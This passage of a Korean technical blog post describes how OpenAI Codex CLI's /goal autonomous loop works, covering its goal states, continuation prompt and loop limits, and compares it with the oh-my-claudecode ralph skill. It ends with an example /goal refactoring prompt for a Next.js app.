&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 모델이 직접 손댈 수 있는 상태는 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;complete&lt;/code&gt; 하나뿐이고, pause/resume/budget_limited는 사람 또는 런타임만 제어한다. 자율성과 통제권을 명확히 분리한 설계로 보인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;create_goal&lt;/code&gt;의 description은 다음 두 가지를 못 박아 둔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫째, 사용자나 system/developer 지시에서 명시적으로 요청했을 때만 목표를 만든다. 일반 태스크에서 모델이 임의로 목표를 추론해 만드는 것은 금지된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;둘째, 이미 목표가 있으면 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;create_goal&lt;/code&gt;은 실패하고, 상태 변경은 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;update_goal&lt;/code&gt;로만 처리해야 한다. &quot;조용히 자율 모드로 진입하는&quot; 가능성을 의도적으로 차단한 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;4-2. continuation 프롬프트 템플릿&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1092&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/W8yiu/dJMcajaZiuc/dkRMfFkRwUICn1HEDRP7AK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/W8yiu/dJMcajaZiuc/dkRMfFkRwUICn1HEDRP7AK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/W8yiu/dJMcajaZiuc/dkRMfFkRwUICn1HEDRP7AK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FW8yiu%2FdJMcajaZiuc%2FdkRMfFkRwUICn1HEDRP7AK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1992&quot; height=&quot;1092&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1092&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;루프를 실제로 굴리는 건 &lt;a href=&quot;https://github.com/openai/codex/blob/rust-v0.128.0/codex-rs/core/templates/goals/continuation.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;continuation.md&lt;/code&gt;&lt;/a&gt; 템플릿이다. 모델이 한 턴을 끝내고 아무 입력도 없는 대기 상태(idle)가 되면, 시스템이 이 템플릿 내용을 모델에게 다시 전달한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; border-radius: 0 8px 8px 0; padding: 16px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-family: 'Fira Code','Consolas',monospace; font-size: 14px; line-height: 1.7;&quot; data-ke-size=&quot;size16&quot;&gt;Continue working toward the active thread goal. Budget: - Time spent pursuing goal: {{ time_used_seconds }} seconds - Tokens used: {{ tokens_used }} - Token budget: {{ token_budget }} - Tokens remaining: {{ remaining_tokens }} ... Avoid repeating work that is already done. Choose the next concrete action toward the objective.&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0 0; font-size: 13px; color: #666; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;(번역)&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0 0; font-size: 13px; color: #666; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;활성 목표를 향해 계속 작업하라.&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0 0; font-size: 13px; color: #666; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;예산 현황: - 목표 추진에 사용한 시간: {{ time_used_seconds }}초 - 사용한 토큰: {{ tokens_used }} - 토큰 예산: {{ token_budget }} - 남은 토큰: {{ remaining_tokens }} ...&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0 0; font-size: 13px; color: #666; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;이미 완료된 작업을 반복하지 마라. 목표를 향한 다음 구체적인 행동을 선택하라.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단순한 &quot;계속해&quot; 한 마디가 아니다. 토큰을 얼마나 썼는지, 시간이 얼마나 지났는지까지 함께 전달해서, 모델이 자기 진행 상황을 파악한 채로 다음 행동을 고르게 만든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;4-3. 안전장치 &amp;mdash; idle 우선순위와 무한 루프 차단&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1998&quot; data-origin-height=&quot;1074&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQUQwO/dJMcahYzxeD/SpHDECXh3DGlZavsVokUn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQUQwO/dJMcahYzxeD/SpHDECXh3DGlZavsVokUn0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQUQwO/dJMcahYzxeD/SpHDECXh3DGlZavsVokUn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQUQwO%2FdJMcahYzxeD%2FSpHDECXh3DGlZavsVokUn0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1998&quot; height=&quot;1074&quot; data-origin-width=&quot;1998&quot; data-origin-height=&quot;1074&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;루프가 무한정 돌지는 않는다. &lt;a href=&quot;https://github.com/openai/codex/blob/rust-v0.128.0/codex-rs/core/src/goals.rs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;core/src/goals.rs&lt;/code&gt;&lt;/a&gt;를 보면 두 가지 제동 규칙이 있다.&lt;/p&gt;
&lt;ul style=&quot;margin: 12px 0; padding-left: 24px; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이어가기(continuation)는 세션이 완전히 비어 있을 때만 시작된다. 사용자 입력이 들어오거나 처리할 메시지가 남아 있으면 뒤로 밀린다.&lt;/li&gt;
&lt;li&gt;연속된 이어가기에서 실제 도구 호출(tool call)이 한 번도 없으면 그 다음 이어가기는 자동으로 막힌다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 번째 규칙이 무한 루프 방지 장치다. 모델이 아무것도 하지 않고 빈 답만 반복하면 더 이상 깨우지 않는다는 뜻이다. 또한 작업이 중간에 끊기면(인터럽트) 목표가 자동으로 일시정지(paused) 상태가 되고, 작업을 다시 이어가면 자동으로 활성 상태로 돌아온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;목표의 상태는 &lt;a href=&quot;https://github.com/openai/codex/blob/rust-v0.128.0/codex-rs/tui/src/chatwidget/goal_status.rs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;goal_status.rs&lt;/code&gt;&lt;/a&gt; 기준으로 active(진행 중), paused(일시정지), budget_limited(예산 소진), complete(완료) 네 가지로 관리된다. 터미널 화면 상단에는 경과 시간이나 토큰 사용량이 표시된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;토큰 예산을 따로 지정하지 않아도 자율 실행 자체는 가능한데, 이때는 경과 시간만 보인다. 같은 파일의 테스트가 그 동작을 직접 보여 준다.&lt;/p&gt;
&lt;pre class=&quot;rust&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; padding: 20px; border-radius: 8px; overflow-x: auto; margin: 16px 0; white-space: pre;&quot; data-ke-language=&quot;rust&quot;&gt;&lt;code&gt;fn active_goal_usage_reports_time_without_budget() {
    assert_eq!(active_goal_usage(None, 12_500, 120), Some(&quot;2m&quot;.to_string()));
}

fn active_goal_usage_prefers_token_budget() {
    assert_eq!(active_goal_usage(Some(50_000), 12_500, 90), Some(&quot;12.5K / 50K&quot;.to_string()));
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;토큰 예산이 주어지면 화면에 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;12.5K / 50K&lt;/code&gt; 같은 잔량으로 표시되고, 없으면 경과 시간만 나온다. 내부 로직은 예산 관리를 지원하지만, 터미널에서 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/goal 목표내용&lt;/code&gt;으로 직접 입력할 때는 예산값을 함께 넣는 문법이 확인되지 않는다. 예산 설정이 필요하다면 서버 API나 모델 툴을 통한 경로를 확인해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== SECTION 5 ===== --&gt;
&lt;h2 id=&quot;section5&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. Claude ralph loop와의 비교 &amp;mdash; 같은 철학, 다른 구조&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;1060&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/blVosU/dJMcacJLtFC/9nvqkhDG7qQevBZUSjDkb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/blVosU/dJMcacJLtFC/9nvqkhDG7qQevBZUSjDkb1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/blVosU/dJMcacJLtFC/9nvqkhDG7qQevBZUSjDkb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FblVosU%2FdJMcacJLtFC%2F9nvqkhDG7qQevBZUSjDkb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1968&quot; height=&quot;1060&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;1060&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 인용한 OpenAI 발표 트윗이 ralph loop를 직접 언급한 만큼, Claude Code 진영의 &lt;a href=&quot;https://github.com/jasonkneen/oh-my-claudecode&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;oh-my-claudecode ralph 스킬&lt;/a&gt;과 비교해 두는 편이 자연스럽다. ralph 스킬 SKILL.md는 다음과 같이 자기 정의한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; border-radius: 0 8px 8px 0; padding: 16px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Ralph is a PRD-driven persistence loop that keeps working on a task until ALL user stories in prd.json have passes: true and are reviewer-verified. It wraps ultrawork's parallel execution with session persistence, automatic retry on failure, structured story tracking, and mandatory verification before completion.&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0 0; font-size: 13px; color: #666; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;(번역)&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0 0; font-size: 13px; color: #666; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;ralph는 PRD 기반 지속 루프로, prd.json의 모든 요구사항 항목이 passes: true 상태가 되고 검토자가 검증할 때까지 계속 작업한다.&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0 0; font-size: 13px; color: #666; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;ultrawork의 병렬 실행을 세션 지속, 실패 시 자동 재시도, 구조화된 항목 추적, 완료 전 필수 검증으로 감싼 구조다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 정의가 두 도구의 차이를 잘 보여준다. Codex &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/goal&lt;/code&gt;은 자유 텍스트 목표 하나를 AI가 알아서 풀어가는 구조다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반면 ralph는 &lt;a href=&quot;https://github.com/jasonkneen/oh-my-claudecode&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;기획 문서(PRD/prd.json)에 적힌 요구사항 항목들&lt;/a&gt;을 하나씩 구현하고, 각 항목을 검증자가 확인한 뒤에야 다음으로 넘어가는 다단계 구조다. 같은 SKILL.md에서 단계 설명을 보면 ralph 흐름이 더 분명해진다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; border-radius: 0 8px 8px 0; padding: 16px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Steps: 1. PRD Setup ... 2. Pick next story ... 3. Implement ... 4. Verify the current story's acceptance criteria ... 7. Reviewer verification (tiered, against acceptance criteria) ... 8. On approval: run /oh-my-claudecode:cancel to cleanly exit&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0 0; font-size: 13px; color: #666; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;(번역) 단계: 1. PRD 설정 ... 2. 다음 항목 선택 ... 3. 구현 ... 4. 현재 항목의 완료 조건 검증 ... 7. 검토자 검증(단계적, 완료 조건 기준) ... 8. 승인 시: /oh-my-claudecode:cancel로 깔끔하게 종료&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ralph는 architect 같은 별도 검토자(reviewer) 단계를 구조상 강제로 포함한다. 재미있는 건 ralph가 옵션으로 Codex CLI를 검토자로 불러 쓸 수 있다는 점이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; border-radius: 0 8px 8px 0; padding: 16px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;If &lt;code style=&quot;background: #d0e8f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;--critic=codex&lt;/code&gt;, run &lt;code style=&quot;background: #d0e8f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;omc ask codex --agent-prompt critic &quot;...&quot;&lt;/code&gt; for the approval pass. The Codex critic prompt MUST include: 1. The full list of acceptance criteria from prd.json ... 2. A directive to evaluate whether the implementation is OPTIMAL &amp;mdash; &lt;a href=&quot;https://github.com/jasonkneen/oh-my-claudecode&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;oh-my-claudecode ralph SKILL.md&lt;/a&gt; (같은 출처)&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0 0; font-size: 13px; color: #666; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;(번역) --critic=codex인 경우, 승인 단계에서 omc ask codex --agent-prompt critic &quot;...&quot;을 실행하라. Codex critic 프롬프트에는 반드시 다음이 포함되어야 한다: 1. prd.json의 전체 완료 조건 목록 ... 2. 구현이 최적인지 평가하는 지시문&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 말해, 두 도구는 경쟁만 하는 관계가 아니라 보완재로 묶일 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude는 PRD 기반 분해/검증 루프를 돌리고, 그 검증 단계에 Codex CLI를 critic으로 호출하는 식이다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 16px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: bold;&quot;&gt;비교 축&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: bold;&quot;&gt;Codex &lt;code style=&quot;background: #d0e8f0; padding: 2px 5px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/goal&lt;/code&gt;&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: bold;&quot;&gt;oh-my-claudecode ralph&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;&lt;b&gt;트리거 방식&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;슬래시 커맨드 &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/goal &amp;lt;목표&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;슬래시 커맨드 &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/oh-my-claudecode:ralph&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;&lt;b&gt;목표 표현&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;자유 텍스트 목표 하나&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;prd.json의 요구사항 항목 여러 개&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;&lt;b&gt;종료 조건&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;모델이 &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;update_goal&lt;/code&gt;로 complete 처리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;모든 story &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;passes: true&lt;/code&gt; + reviewer 승인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;&lt;b&gt;사람 개입 지점&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;pause/resume/clear 사용자 제어, 모델은 complete만&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;각 요구사항 항목별 완료 확인 + 검토자(architect/critic) 단계&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;&lt;b&gt;토큰/비용 관리&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;내부 로직은 토큰 예산 관리 지원. 다만 터미널 &lt;code style=&quot;background: #f0f0f0; padding: 2px 5px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/goal&lt;/code&gt; 입력에서 예산 인자 문법은 미확인&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;별도 명시 없음. critic 호출 시 별도 비용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;&lt;b&gt;생태계&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;OpenAI Codex CLI 0.128.0+&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px;&quot;&gt;Claude Code + oh-my-claudecode 플러그인&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 요약하면, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/goal&lt;/code&gt;은 모델 자율성을 최대화하는 단일 루프이고, ralph는 PRD라는 외부 아티팩트로 자율성을 강제 분해하는 다단계 루프다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) AI에게 goal 예시를할만한 프롬프트를 생성해달라고 했더니 엄청 장황하게 작성해 주었는데, 이대로 진행해보겠다.&lt;/p&gt;
&lt;pre id=&quot;code_1777710443964&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;  /goal 이 Next.js 앱의 공개 서비스/라우트 메타데이터를 하나의 타입 안전한 레지스트리로 단일화해줘.

  목표:
  현재 Hub 카드, Header/Footer 링크, sitemap 생성, 라우트 관련 테스트에 흩어져 있는 공개 페이지/서비스 정보를 하나의 typed registry로 정리
  하고, 중복 하드코딩을 줄여줘.

  범위:
  - src/constants, src/app/sitemap.ts, src/components/features/hub, src/components/layout/Header*, Footer를 먼저 조사한다.
  - public route/service 정보를 표현하는 작은 typed registry를 설계한다.
  - registry에는 필요에 따라 path, title, description, category, priority, sitemap 설정, nav 노출 여부, hub 노출 여부, asset/icon 메타데이
  터 같은 필드를 포함한다.
  - sitemap.ts와 Hub 카드, Header/Footer 링크 등 중복이 큰 부분은 registry를 사용하도록 리팩터링한다.
  - 기존 라우트, SEO 동작, 화면 UI는 가능한 한 유지한다.
  - 명백한 불일치나 버그가 있으면 작은 범위에서 함께 고친다.
  - 중요한 공개 라우트가 누락되지 않는지, 중복 path가 없는지, sitemap/hub/nav 메타데이터가 일관적인지 검증하는 테스트를 추가하거나 보강한
  다.

  제약:
  - 새 의존성은 추가하지 않는다.
  - diff는 작고 리뷰 가능하게 유지한다.
  - 기존 라우트와 SEO 동작을 깨지 않는다.
  - 관련 없는 UI 개편은 하지 않는다.
  - 이 프로젝트의 기존 패턴, path alias, TypeScript strict 모드를 따른다.

  검증:
  - lint, unit test, 관련 E2E test를 실행한다.
  - 가능하면 pnpm quality-gate까지 실행한다.
  - 전체 quality gate가 기존의 무관한 실패 때문에 실패하면, 어떤 명령이 어떤 이유로 실패했는지 증거와 함께 분리해서 보고한다.
  - registry 구현, 중복 제거, 테스트 보강, 남은 리스크 정리가 끝났을 때만 완료 처리한다.

  최종 보고:
  - 어떤 중복 소스를 발견했는지
  - 어떤 registry 구조를 선택했는지
  - 어떤 파일이 단순해졌는지
  - 어떤 테스트를 추가/수정했는지
  - 전후로 어떤 유지보수 리스크가 줄었는지&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1836&quot; data-origin-height=&quot;1220&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZnpQq/dJMcacwd0W0/ep7zf6theujvMbLbTv2Ow0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZnpQq/dJMcacwd0W0/ep7zf6theujvMbLbTv2Ow0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZnpQq/dJMcacwd0W0/ep7zf6theujvMbLbTv2Ow0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZnpQq%2FdJMcacwd0W0%2Fep7zf6theujvMbLbTv2Ow0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1836&quot; height=&quot;1220&quot; data-origin-width=&quot;1836&quot; data-origin-height=&quot;1220&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 이후 얼마나 오래 일하는지, 어떤 결과가 얼마만에 나오게 되는지 살펴보자.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1758&quot; data-origin-height=&quot;594&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/x1kxZ/dJMcafT0Dni/iinRC3aQkPA6KyUZfOtXXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/x1kxZ/dJMcafT0Dni/iinRC3aQkPA6KyUZfOtXXK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/x1kxZ/dJMcafT0Dni/iinRC3aQkPA6KyUZfOtXXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fx1kxZ%2FdJMcafT0Dni%2FiinRC3aQkPA6KyUZfOtXXK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1758&quot; height=&quot;594&quot; data-origin-width=&quot;1758&quot; data-origin-height=&quot;594&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 생각보다 빨리 완료 되었다. (나중엔 좀더 복잡한 개발 요청을 해보도록 하겠다.)&lt;/p&gt;
